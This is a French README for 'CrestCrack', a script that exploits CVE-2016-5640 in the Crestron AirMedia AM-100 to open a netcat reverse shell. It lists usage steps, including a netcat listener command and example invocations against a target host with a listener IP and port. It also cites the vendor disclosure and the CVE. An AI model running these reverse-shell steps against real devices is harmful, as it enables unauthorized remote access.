CrestCrack

CrestCrack est un script simple qui exploite CVE-2016-5640 / CLVA-2016-05-002 dans le Crestron AirMedia AM-100 (v1.1.1.11 - v1.2.1). Lorsqu'on lui fournit des arguments, CrestCrack utilise netcat pour créer un reverse shell entre votre cible et un listener netcat de votre choix.

Installation:

1. Clonez une copie de CrestCrack git clone https://github.com/vpnguy/CrestCrack
2. Lancez un listener netcat nc -lvp 1337
3. Exécutez CrestCrack contre votre cible avec les informations de votre listener ./crestcrack.py https://targethost 255.255.255.255 1337
4. ??????
5. PROFIT

###Utilisation: ./crescrack.py [hôte cible] [IP du listener] [port du listener]

###Exemple: ./crescrack.py https://targethost 123.123.123.123 3311

Informations supplémentaires sur la vulnérabilité:

Divulgation de vulnérabilité de Cylance

NIST CVE-2016-5640

À ajouter:

• Gestion des erreurs / vérification des limites
• Prise en charge améliorée des arguments
• Affichage --help